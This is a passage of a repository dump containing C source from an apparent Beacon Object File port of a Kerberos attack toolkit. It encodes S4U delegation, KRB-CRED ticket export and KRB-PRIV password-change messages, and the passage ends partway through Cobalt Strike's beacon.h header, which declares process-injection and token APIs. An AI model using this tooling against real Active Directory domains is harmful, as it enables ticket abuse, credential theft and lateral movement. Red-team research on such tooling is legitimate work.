AS-REQs\n        AsnElt paDataElt = { 0 }, paDataEltContext = { 0 };\n        if (AsnKerbPaPacRequestEncode(padata.value, &paDataElt)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 2, &paDataElt, &paDataEltContext)) return true;\n\n        AsnElt seqSubs[] = { nameTypeSeqContext, paDataEltContext };\n        if (Make3(ASN_SEQUENCE, seqSubs, 2, seq)) return true;\n    }\n    else if (padata.type == PADATA_ENC_TIMESTAMP) {\n        // used for AS-REQs\n        AsnElt encData = { 0 };\n        if (AsnEncryptedDataEncode(padata.value, &encData)) return true;\n\n        int encDataBytesSize = 0;\n        byte* encDataBytes = 0;\n        if (AsnToBytesEncode(&encData, &encDataBytesSize, &encDataBytes)) return true;\n\n        AsnElt blobSeqContext = { 0 };\n        if (PackBlock(2, encDataBytes, encDataBytesSize, &blobSeqContext) ) return true;\n\n        AsnElt allSeq[] = { nameTypeSeqContext, blobSeqContext };\n        if (Make3(ASN_SEQUENCE, allSeq, 2, seq)) return true;\n    }\n    else if (padata.type == PADATA_AP_REQ) {\n        // used for TGS-REQs\n        AsnElt encData = { 0 };\n        if (AsnApReqEncode(padata.value, &encData)) return true;\n\n        byte* encDataBytes = NULL;\n        int   encDataBytesSize = 0;\n        if (AsnToBytesEncode(&encData, &encDataBytesSize, &encDataBytes)) return true;\n\n        AsnElt paDataElt = { 0 };\n        if (PackBlock(2, encDataBytes, encDataBytesSize, &paDataElt) ) return true;\n\n        AsnElt allSeq[] = { nameTypeSeqContext, paDataElt };\n        if (Make3(ASN_SEQUENCE, allSeq, 2, seq)) return true;\n    }\n    else if (padata.type == PADATA_S4U2SELF) {\n        // used for constrained delegation\n        AsnElt encData = { 0 };\n        if (AsnPaS4USelfEnc(padata.value, &encData)) return true;\n\n        byte* encDataBytes = NULL;\n        int   encDataBytesSize = 0;\n        if (AsnToBytesEncode(&encData, &encDataBytesSize, &encDataBytes)) return true;\n\n        AsnElt paDataElt = { 0 };\n        if (PackBlock(2, encDataBytes, encDataBytesSize, &paDataElt) ) return true;\n\n        AsnElt allSeq[] = { nameTypeSeqContext, paDataElt };\n        if (Make3(ASN_SEQUENCE, allSeq, 2, seq)) return true;\n    }\n    else if (padata.type == PADATA_PA_S4U_X509_USER) {\n        // used for constrained delegation\n        AsnElt encData = { 0 };\n        if (AsnPaS4Ux509UserEnc(padata.value, &encData)) return true;\n\n        byte* encDataBytes = NULL;\n        int   encDataBytesSize = 0;\n        if (AsnToBytesEncode(&encData, &encDataBytesSize, &encDataBytes)) return true;\n\n        AsnElt paDataElt = { 0 };\n        if (PackBlock(2, encDataBytes, encDataBytesSize, &paDataElt) ) return true;\n\n        AsnElt allSeq[] = { nameTypeSeqContext, paDataElt };\n        if (Make3(ASN_SEQUENCE, allSeq, 2, seq)) return true;\n    }\n    else if (padata.type == PADATA_PA_PAC_OPTIONS) {\n        AsnElt encData = { 0 };\n        if (AsnPaPacOptionsEncode(padata.value, &encData)) return true;\n\n        byte* encDataBytes = NULL;\n        int   encDataBytesSize = 0;\n        if (AsnToBytesEncode(&encData, &encDataBytesSize, &encDataBytes)) return true;\n\n        AsnElt paDataElt = { 0 };\n        if (PackBlock(2, encDataBytes, encDataBytesSize, &paDataElt) ) return true;\n\n        AsnElt allSeq[] = { nameTypeSeqContext, paDataElt };\n        if (Make3(ASN_SEQUENCE, allSeq, 2, seq)) return true;\n    }\n    else if (padata.type == PADATA_PK_AS_REQ) {\n        PRINT_OUT(\"--- AsnPaDataEncode --- PADATA_PK_AS_REQ\\n\");\n        //\tAsnElt blob = AsnElt.MakeBlob(((PA_PK_AS_REQ)value).Encode().Encode());\n        //\tAsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[]{ blob });\n\n        //\tpaDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);\n\n        //\tAsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[]{ nameTypeSeq, paDataElt });\n        //\treturn seq;\n    }\n    else if (padata.type == PADATA_KEY_LIST_REQ) {\n        AsnElt encData = { 0 };\n        if (AsnPaKeyListReqEncode(padata.value, &encData)) return true;\n\n        byte* encDataBytes = NULL;\n        int   encDataBytesSize = 0;\n        if (AsnToBytesEncode(&encData, &encDataBytesSize, &encDataBytes)) return true;\n\n        AsnElt paDataElt = { 0 };\n        if (PackBlock(2, encDataBytes, encDataBytesSize, &paDataElt) ) return true;\n\n        AsnElt allSeq[] = { nameTypeSeqContext, paDataElt };\n        if (Make3(ASN_SEQUENCE, allSeq, 2, seq)) return true;\n    }\n    else {\n        return true;\n    }\n    return false;\n}\n\nbool AsnKrbCredInfoEncode(KrbCredInfo* cred_info, AsnElt* seq) {\n    DWORD allNodesCount = 2;\n    DWORD allNodesIndex = 0;\n    if (cred_info->prealm)\t\t\t\t\t\t\t\t\tallNodesCount++;\n    if (cred_info->pname.name_count)\t\t\t\t\t\tallNodesCount++;\n    if (cred_info->authtime.isSet)\t\t\t\t\t\t\tallNodesCount++;\n    if (cred_info->starttime.isSet)\t\t\t\t\t\t\tallNodesCount++;\n    if (cred_info->endtime.isSet)\t\t\t\t\t\t\tallNodesCount++;\n    if (cred_info->renew_till.isSet)\t\t\t\t\t\tallNodesCount++;\n    if (cred_info->srealm)\t\t\t\t\t\t\t\t\tallNodesCount++;\n    if (cred_info->sname.name_count)\t\t\t\t\t\tallNodesCount++;\n\n    AsnElt* asnElements = MemAlloc(sizeof(AsnElt) * allNodesCount);\n\n    // key             [0] EncryptionKey\n    AsnElt keyAsn = { 0 }, keyAsnContext = { 0 };\n    if (AsnEncryptionKeyEncode(&(cred_info->key), &keyAsn)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 0, &keyAsn, &keyAsnContext)) return true;\n    asnElements[allNodesIndex] = keyAsnContext; allNodesIndex++;\n\n    // prealm          [1] Realm OPTIONAL\n    if (cred_info->prealm) {\n        AsnElt prealmAsnSeqContext = { 0 };\n        if( PackStringExt(1, ASN_IA5String, ASN_GeneralString, cred_info->prealm, &prealmAsnSeqContext) ) return true;\n        asnElements[allNodesIndex] = prealmAsnSeqContext; allNodesIndex++;\n    }\n\n    // pname           [2] PrincipalName OPTIONAL\n    if (cred_info->pname.name_count) {\n        AsnElt pnameAsn = { 0 }, pnameAsnContext = { 0 };\n        if (AsnPrincipalNameEncode(&(cred_info->pname), &pnameAsn)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 2, &pnameAsn, &pnameAsnContext)) return true;\n        asnElements[allNodesIndex] = pnameAsnContext; allNodesIndex++;\n    }\n\n    // pname           [2] PrincipalName OPTIONAL\n    byte flagBytes[sizeof(UINT32)];\n    FlasToBytes(cred_info->flags, flagBytes);\n    AsnElt flagBytesSeqContext = { 0 };\n    if (PackBitString(3, flagBytes, sizeof(UINT32), &flagBytesSeqContext)) return true;\n    asnElements[allNodesIndex] = flagBytesSeqContext; allNodesIndex++;\n\n    // authtime        [4] KerberosTime OPTIONAL\n    if (cred_info->authtime.isSet) {\n        char datatime[18];\n        MSVCRT$sprintf(datatime, \"%04d%02d%02d%02d%02d%02dZ\", cred_info->authtime.year, cred_info->authtime.month, cred_info->authtime.day, cred_info->authtime.hour, cred_info->authtime.minute, cred_info->authtime.second);\n        AsnElt patimestampSeqContext = { 0 };\n        if (PackString(4, ASN_GeneralizedTime, datatime, &patimestampSeqContext)) return true;\n        asnElements[allNodesIndex] = patimestampSeqContext; allNodesIndex++;\n    }\n\n    // starttime       [5] KerberosTime OPTIONAL\n    if (cred_info->starttime.isSet) {\n        char datatime[18];\n        MSVCRT$sprintf(datatime, \"%04d%02d%02d%02d%02d%02dZ\", cred_info->starttime.year, cred_info->starttime.month, cred_info->starttime.day, cred_info->starttime.hour, cred_info->starttime.minute, cred_info->starttime.second);\n        AsnElt starttimeSeqContext = { 0 };\n        if (PackString(5, ASN_GeneralizedTime, datatime, &starttimeSeqContext)) return true;\n        asnElements[allNodesIndex] = starttimeSeqContext; allNodesIndex++;\n    }\n\n    // endtime         [6] KerberosTime OPTIONAL\n    if (cred_info->endtime.isSet) {\n        char datatime[18];\n        MSVCRT$sprintf(datatime, \"%04d%02d%02d%02d%02d%02dZ\", cred_info->endtime.year, cred_info->endtime.month, cred_info->endtime.day, cred_info->endtime.hour, cred_info->endtime.minute, cred_info->endtime.second);\n        AsnElt endtimeSeqContext = { 0 };\n        if (PackString(6, ASN_GeneralizedTime, datatime, &endtimeSeqContext)) return true;\n        asnElements[allNodesIndex] = endtimeSeqContext; allNodesIndex++;\n    }\n\n    // renew-till      [7] KerberosTime OPTIONAL\n    if (cred_info->renew_till.isSet) {\n        char datatime[18];\n        MSVCRT$sprintf(datatime, \"%04d%02d%02d%02d%02d%02dZ\", cred_info->renew_till.year, cred_info->renew_till.month, cred_info->renew_till.day, cred_info->renew_till.hour, cred_info->renew_till.minute, cred_info->renew_till.second);\n        AsnElt renew_tillSeqContext = { 0 };\n        if (PackString(7, ASN_GeneralizedTime, datatime, &renew_tillSeqContext)) return true;\n        asnElements[allNodesIndex] = renew_tillSeqContext; allNodesIndex++;\n    }\n\n    // srealm          [8] Realm OPTIONAL\n    if (cred_info->srealm) {\n        AsnElt srealmAsnSeqContext = { 0 };\n        if( PackStringExt(8, ASN_IA5String, ASN_GeneralString, cred_info->srealm, &srealmAsnSeqContext) ) return true;\n        asnElements[allNodesIndex] = srealmAsnSeqContext; allNodesIndex++;\n    }\n\n    // sname           [9] PrincipalName OPTIONAL\n    if (cred_info->sname.name_count) {\n        AsnElt pnameAsn = { 0 }, pnameAsnContext = { 0 };\n        if (AsnPrincipalNameEncode(&(cred_info->sname), &pnameAsn)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 9, &pnameAsn, &pnameAsnContext)) return true;\n        asnElements[allNodesIndex] = pnameAsnContext; allNodesIndex++;\n    }\n\n    if (Make3(ASN_SEQUENCE, asnElements, allNodesCount, seq)) return true;\n    return false;\n}\n\nbool AsnEncKrbCredPartEncode(EncKrbCredPart* cred_part, AsnElt* totalSeq2Context) {\n    // ticket-info     [0] SEQUENCE OF KrbCredInfo\n    AsnElt infoAsn = { 0 }, seq1 = { 0 }, seq2 = { 0 }, seq2Context = { 0 };\n    if (AsnKrbCredInfoEncode(&(cred_part->ticket_info[0]), &infoAsn)) return true;\n    if (Make3(ASN_SEQUENCE, &infoAsn, 1, &seq1)) return true;\n    if (Make3(ASN_SEQUENCE, &seq1, 1, &seq2)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 0, &seq2, &seq2Context)) return true;\n\n    AsnElt totalSeq = { 0 }, totalSeq2 = { 0 };\n    if (Make3(ASN_SEQUENCE, &seq2Context, 1, &totalSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &totalSeq, 1, &totalSeq2)) return true;\n    if (MakeImplicit(ASN_APPLICATION, 29, &totalSeq2, totalSeq2Context)) return true;\n\n    return false;\n}\n\nbool AsnKrbCredEncode(KRB_CRED* krb_cred, AsnElt* finalContext) {\n    // pvno            [0] INTEGER (5)\n    AsnElt pvnoSeqContext = { 0 };\n    if (PackIntegerLong(0, krb_cred->pvno, &pvnoSeqContext)) return true;\n\n    // msg-type        [1] INTEGER (22)\n    AsnElt msg_typeSeqContext = { 0 };\n    if (PackIntegerLong(1, krb_cred->msg_type, &msg_typeSeqContext)) return true;\n\n    // tickets         [2] SEQUENCE OF Ticket\n    AsnElt ticketAsn = { 0 }, ticketSeq = { 0 }, ticketSeq2 = { 0 }, ticketSeq2Context = { 0 };\n    if (AsnTicketEncode(&(krb_cred->tickets[0]), &ticketAsn)) return true;\n    if (Make3(ASN_SEQUENCE, &ticketAsn, 1, &ticketSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &ticketSeq, 1, &ticketSeq2)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 2, &ticketSeq2, &ticketSeq2Context)) return true;\n\n    // enc-part        [3] EncryptedData -- EncKrbCredPart\n    AsnElt enc_partAsn = { 0 };\n    if (AsnEncKrbCredPartEncode(&(krb_cred->enc_part), &enc_partAsn)) return true;\n    int blobBytesSize = 0;\n    byte* blobBytes = 0;\n    if (AsnToBytesEncode(&enc_partAsn, &blobBytesSize, &blobBytes)) return true;\n\n    AsnElt blobSeqContext = { 0 };\n    if (PackBlock(2, blobBytes, blobBytesSize, &blobSeqContext) ) return true;\n\n    // etype == 0 -> no encryption\n    AsnElt etypeSeqContext = { 0 };\n    if (PackIntegerLong(0, 0, &etypeSeqContext)) return true;\n\n    AsnElt seq[] = { etypeSeqContext, blobSeqContext };\n    AsnElt infoSeq = { 0 }, infoSeq2 = { 0 }, infoSeq2Context = { 0 };\n    if (Make3(ASN_SEQUENCE, seq, 2, &infoSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &infoSeq, 1, &infoSeq2)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 3, &infoSeq2, &infoSeq2Context)) return true;\n\n    // all the components\n    AsnElt seqTotal[] = { pvnoSeqContext, msg_typeSeqContext, ticketSeq2Context, infoSeq2Context };\n    AsnElt total = { 0 };\n    if (Make3(ASN_SEQUENCE, seqTotal, 4, &total)) return true;\n\n    // tag the final total ([APPLICATION 22])\n    AsnElt final = { 0 };\n    if (Make3(ASN_SEQUENCE, &total, 1, &final)) return true;\n    if (MakeImplicit(ASN_APPLICATION, 22, &final, finalContext)) return true;\n\n    return false;\n}\n\nbool AsnADEncode(ADIfRelevant* adif, AsnElt** finalContext) {\n    AsnElt adTypeSeqContext = { 0 };\n    if (PackIntegerLong(0, adif->ad_type, &adTypeSeqContext)) return true;\n\n    AsnElt adDataSeqContext = { 0 };\n    if (PackBlock(1, adif->ad_data, adif->ad_data_length, &adDataSeqContext) ) return true;\n\n    AsnElt seq[] = { adTypeSeqContext, adDataSeqContext };\n    if (Make3(ASN_SEQUENCE, seq, 2, finalContext)) return true;\n    return false;\n}\n\nbool AsnADRestrictionEntryEncode(ADRestrictionEntry* adre, AsnElt* finalContext) {\n    // KERB-AD-RESTRICTION-ENTRY encoding\n    // restriction-type       [0] Int32\n    AsnElt adRestrictionEntrySeqContext = { 0 };\n    if (PackIntegerLong(0, adre->restriction_type, &adRestrictionEntrySeqContext)) return true;\n\n    // restriction            [1] OCTET STRING\n    AsnElt adRestrictionEntryDataSeqContext = { 0 };\n    if (PackBlock(1, adre->restriction, adre->restriction_length, &adRestrictionEntryDataSeqContext) ) return true;\n\n    AsnElt seq[] = { adRestrictionEntrySeqContext, adRestrictionEntryDataSeqContext };\n    AsnElt seq1 = { 0 }, seq2 = { 0 };\n    if (Make3(ASN_SEQUENCE, seq, 2, &seq1)) return true;\n    if (Make3(ASN_SEQUENCE, &seq1, 1, &seq2)) return true;\n\n    if (AsnToBytesEncode(&seq2, &(adre->ad_data_length), &(adre->ad_data))) return true;\n\n    if (AsnADEncode(adre, finalContext)) return true;\n    return false;\n}\n\nbool AsnADIfRelevantEncode(ADIfRelevant* adif, AsnElt* finalContext) {\n    // ad-data            [1] OCTET STRING\n    if (adif->ADData_count > 0) {\n        AsnElt* adList = MemAlloc(sizeof(AsnElt) * adif->ADData_count);\n\n        for (int i = 0; i < adif->ADData_count; i++) {\n            AsnElt addrElt = { 0 };\n\n            switch (((ADIfRelevant*)adif->ADData[i])->ad_type) {\n                case 141:\n                    if (AsnADRestrictionEntryEncode(adif->ADData[i], &addrElt)) return true;\n                    break;\n                case 142:\n                    if (AsnADEncode(adif->ADData[i], &addrElt)) return true;\n                    break;\n                default:\n                    break;\n            }\n\n            adList[i] = addrElt;\n        }\n\n        AsnElt seq = { 0 };\n        if (Make3(ASN_SEQUENCE, adList, adif->ADData_count, &seq)) return true;\n        if (AsnToBytesEncode(&seq, &(adif->ad_data_length), &(adif->ad_data))) return true;\n    }\n\n    if (AsnADEncode(adif, finalContext)) return true;\n    return false;\n}\n\nbool ReqToAsnEncode(AS_REQ as_req, int APP_NUM, AsnElt* totalSeqApp) {\n    // pvno            [1] INTEGER (5)\n    AsnElt pvnoContext = { 0 };\n    if (PackIntegerLong(1, as_req.pvno, &pvnoContext)) return true;\n\n    // msg-type        [2] INTEGER (10 -- AS -- )\n    AsnElt msg_type_ASNSeqContext = { 0 };\n    if (PackIntegerLong(2, as_req.msg_type, &msg_type_ASNSeqContext)) return true;\n\n    // padata          [3] SEQUENCE OF PA-DATA OPTIONAL\n    AsnElt *padatas = MemAlloc(sizeof(AsnElt) * as_req.pa_data_count);\n    if (!padatas && as_req.pa_data_count) {\n        PRINT_OUT(\"[x] Failed alloc memory\\n\");\n        return true;\n    }\n    for (int i = 0; i < as_req.pa_data_count; ++i) {\n        AsnElt pd = {0};\n        if (AsnPaDataEncode(as_req.pa_data[i], &pd)) return true;\n        padatas[i] = pd;\n    }\n\n    AsnElt padata_ASNSeq = { 0 }, padata_ASNSeq2 = { 0 }, padata_ASNSeqContext = { 0 };\n    if (Make3(ASN_SEQUENCE, padatas, as_req.pa_data_count, &padata_ASNSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &padata_ASNSeq, 1, &padata_ASNSeq2)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 3, &padata_ASNSeq2, &padata_ASNSeqContext)) return true;\n\n    // req-body        [4] KDC-REQ-BODY\n    AsnElt req_Body_ASN = { 0 }, req_Body_ASNSeq = { 0 }, req_Body_ASNSeqContext = { 0 };\n    if (AsnKDCReqBodyEncode(&(as_req.req_body), &req_Body_ASN)) return true;\n    if (Make3(ASN_SEQUENCE, &req_Body_ASN, 1, &req_Body_ASNSeq)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 4, &req_Body_ASNSeq, &req_Body_ASNSeqContext)) return true;\n\n    // encode it all into a sequence\n    AsnElt total[] = { pvnoContext, msg_type_ASNSeqContext, padata_ASNSeqContext, req_Body_ASNSeqContext };\n    AsnElt seq = { 0 };\n    if (Make3(ASN_SEQUENCE, total, 4, &seq)) return true;\n\n    // AS-REQ          ::= [APP_NUM 10] KDC-REQ\n    // TGS-REQ         ::= [APP_NUM 12] KDC-REQ\n    AsnElt totalSeq = { 0 };\n    if (Make3(ASN_SEQUENCE, &seq, 1, &totalSeq)) return true;\n    if (MakeImplicit(ASN_APPLICATION, APP_NUM, &totalSeq, totalSeqApp)) return true;\n\n    return false;\n}\n\nbool AsnEncKrbPrivPartEncode(EncKrbPrivPart* privPart, AsnElt* totalSeq) {\n    // user-data       [0] OCTET STRING\n    AsnElt new_passwordAsn = { 0 };\n    if (MakeBlob(privPart->new_password, 0, my_strlen(privPart->new_password), &new_passwordAsn)) return true;\n\n    AsnElt new_passwordAsnContext = { 0 }, principalAsn = { 0 }, principalAsnContext = { 0 }, realmAsn = { 0 }, realmAsnContext = { 0 }, new_passwordSeq = { 0 };\n    if (privPart->username) {\n        PrincipalName principal = { 0 };\n        principal.name_type = PRINCIPAL_NT_PRINCIPAL;\n        principal.name_count = 1;\n        if (my_copybuf(&(principal.name_string), privPart->username, my_strlen(privPart->username) + 1)) return true;\n        if (AsnPrincipalNameEncode(&principal, &principalAsn)) return true;\n\n        if (MakeString(ASN_GeneralString, privPart->realm, &realmAsn)) return true;\n\n        if (MakeExplicit(ASN_CONTEXT, 0, &new_passwordAsn, 1, &new_passwordAsnContext)) return true;\n        if (MakeImplicit(ASN_CONTEXT, 1, &principalAsn, &principalAsnContext)) return true;\n        if (MakeExplicit(ASN_CONTEXT, 2, &realmAsn, 1, &realmAsnContext)) return true;\n\n        AsnElt seqPass[] = { new_passwordAsnContext, principalAsnContext, realmAsnContext };\n        if (Make3(ASN_SEQUENCE, seqPass, 3, &new_passwordSeq)) return true;\n    }\n    else {\n        if (MakeExplicit(ASN_CONTEXT, 0, &new_passwordAsn, 1, &new_passwordAsnContext)) return true;\n        if (Make3(ASN_SEQUENCE, &new_passwordAsnContext, 1, &new_passwordSeq)) return true;\n    }\n\n    AsnElt new_passwordBlobAsn = { 0 }, new_passwordSeqContext = { 0 };\n    char* new_passwordBlob = NULL;\n    int new_passwordBlobSize = 0;\n    if (AsnToBytesEncode(&new_passwordSeq, &new_passwordBlobSize, &new_passwordBlob))return true;\n    if (MakeBlob(new_passwordBlob, 0, new_passwordBlobSize, &new_passwordBlobAsn)) return true;\n    if (MakeExplicit(ASN_CONTEXT, 0, &new_passwordBlobAsn, 1, &new_passwordSeqContext)) return true;\n\n    // seq-number      [3] UInt32 OPTIONAL\n    AsnElt seq_numberSeqContext = { 0 };\n    if (PackIntegerLong(3, privPart->seq_number, &seq_numberSeqContext)) return true;\n\n    //  s-address       [4] HostAddress\n    AsnElt hostAddressTypeSeqContext = { 0 };\n    if (PackIntegerLong(0, 20, &hostAddressTypeSeqContext)) return true;\n\n    AsnElt hostAddressAddressSeqContext = { 0 };\n    if (PackBlock(1, privPart->host_name, my_strlen(privPart->host_name), &hostAddressAddressSeqContext) ) return true;\n\n    AsnElt hostAddressSeq = { 0 }, hostAddressSeq2 = { 0 }, hostAddressSeq2Context = { 0 };\n    AsnElt seqHostAddress[] = { hostAddressTypeSeqContext, hostAddressAddressSeqContext };\n    if (Make3(ASN_SEQUENCE, seqHostAddress, 2, &hostAddressSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &hostAddressSeq, 1, &hostAddressSeq2)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 4, &hostAddressSeq2, &hostAddressSeq2Context)) return true;\n\n    AsnElt seqAsn = { 0 }, seqAsnContext = { 0 };\n    AsnElt seq[] = { new_passwordSeqContext, seq_numberSeqContext, hostAddressSeq2Context };\n    if (Make3(ASN_SEQUENCE, seq, 3, &seqAsn)) return true;\n    if (Make3(ASN_SEQUENCE, &seqAsn, 1, &seqAsnContext)) return true;\n\n    if (MakeImplicit(ASN_APPLICATION, 28, &seqAsnContext, totalSeq)) return true;\n\n    return false;\n}\n\nbool AsnKrbPrivEncode(KRB_PRIV* privPart, AsnElt* totalSeq) {\n    // pvno            [0] INTEGER (5)\n    AsnElt pvnoSeqContext = { 0 };\n    if (PackIntegerLong(0, privPart->pvno, &pvnoSeqContext)) return true;\n\n    // msg-type        [1] INTEGER (21)\n    AsnElt msg_typeSeqContext = { 0 };\n    if (PackIntegerLong(1, privPart->msg_type, &msg_typeSeqContext)) return true;\n\n    // enc-part        [3] EncryptedData -- EncKrbPrivPart\n    AsnElt enc_partAsn = { 0 };\n    if (AsnEncKrbPrivPartEncode(&(privPart->enc_part), &enc_partAsn)) return true;\n    byte* enc_partByte = NULL;\n    int enc_partByteSize = 0;\n    if (AsnToBytesEncode(&enc_partAsn, &enc_partByteSize, &enc_partByte)) return true;\n\n    byte* encBytes = NULL;\n    int encBytesSize = 0;\n    if (encrypt(enc_partByte, enc_partByteSize, privPart->ekey.key_value, privPart->ekey.key_type, KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, &encBytes, &encBytesSize)) return true;\n\n    AsnElt blobSeqContext = { 0 };\n    if (PackBlock(2, encBytes, encBytesSize, &blobSeqContext) ) return true;\n\n    // etype\n    AsnElt etypeSeqContext = { 0 };\n    if (PackIntegerLong(0, privPart->ekey.key_type, &etypeSeqContext)) return true;\n\n    AsnElt encPrivSeq = { 0 }, encPrivSeq2 = { 0 }, encPrivSeq2Context = { 0 };\n    AsnElt seqBlobAsn[] = { etypeSeqContext,  blobSeqContext };\n    if (Make3(ASN_SEQUENCE, seqBlobAsn, 2, &encPrivSeq)) return true;\n    if (Make3(ASN_SEQUENCE, &encPrivSeq, 1, &encPrivSeq2)) return true;\n    if (MakeImplicit(ASN_CONTEXT, 3, &encPrivSeq2, &encPrivSeq2Context)) return true;\n\n    AsnElt totalAsn = { 0 }, finalAsn = { 0 };\n    AsnElt seqTotal[] = { pvnoSeqContext,  msg_typeSeqContext, encPrivSeq2Context };\n    if (Make3(ASN_SEQUENCE, seqTotal, 3, &totalAsn)) return true;\n    // tag the final total ([APPLICATION 21])\n    if (Make3(ASN_SEQUENCE, &totalAsn, 1, &finalAsn)) return true;\n    if (MakeImplicit(ASN_APPLICATION, 21, &finalAsn, totalSeq)) return true;\n\n    return false;\n}\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n *    7/18/2023: Added BeaconInformation API for 4.9\n *    7/31/2023: Added Key/Value store APIs for 4.9\n *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue\n *    8/31/2023: Added Data store APIs for 4.9\n *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,\n *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries\n *    9/01/2023: Added BeaconGetCustomUserData API for 4.9\n *    3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL\n *               Updated the BEACON_INFO data structure to add new parameters\n *    4/19/2024: Added BeaconGetSyscallInformation API for 4.10\n *    4/25/2024: Added APIs to call Beacon's system call implementation\n *    12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)\n *    2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11\n *    3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12\n *    4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12\n *    7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12\n */\n#ifndef _BEACON_H_\n#define _BEACON_H_\n#include <windows.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif // __cplusplus\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, const char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, const char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_CUSTOM      0x1000\n#define CALLBACK_CUSTOM_LAST 0x13ff\n\n\nDECLSPEC_IMPORT void   BeaconOutput(int type, const char * data, int len);\nDECLSPEC_IMPORT void   BeaconPrintf(int type, const char * fmt, ...);\nDECLSPEC_IMPORT BOOL   BeaconDownload(const char * filename, const char* buffer, unsigned int length);\n\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n\n/* Beacon Information */\n/*\n *  ptr  - pointer to the base address of the allocated memory.\n *  size - the number of bytes allocated for the ptr.\n */\ntypedef struct {\n\tchar * ptr;\n\tsize_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\n/* Information the user can set in the USER_DATA via a UDRL */\ntypedef enum {\n\tPURPOSE_EMPTY,\n\tPURPOSE_GENERIC_BUFFER,\n\tPURPOSE_BEACON_MEMORY,\n\tPURPOSE_SLEEPMASK_MEMORY,\n\tPURPOSE_BOF_MEMORY,\n\tPURPOSE_UDC2_MEMORY,\n\tPURPOSE_USER_DEFINED_MEMORY = 1000\n} ALLOCATED_MEMORY_PURPOSE;\n\ntypedef enum {\n\tLABEL_EMPTY,\n\tLABEL_BUFFER,\n\tLABEL_PEHEADER,\n\tLABEL_TEXT,\n\tLABEL_RDATA,\n\tLABEL_DATA,\n\tLABEL_PDATA,\n\tLABEL_RELOC,\n\tLABEL_USER_DEFINED = 1000\n} ALLOCATED_MEMORY_LABEL;\n\ntypedef enum 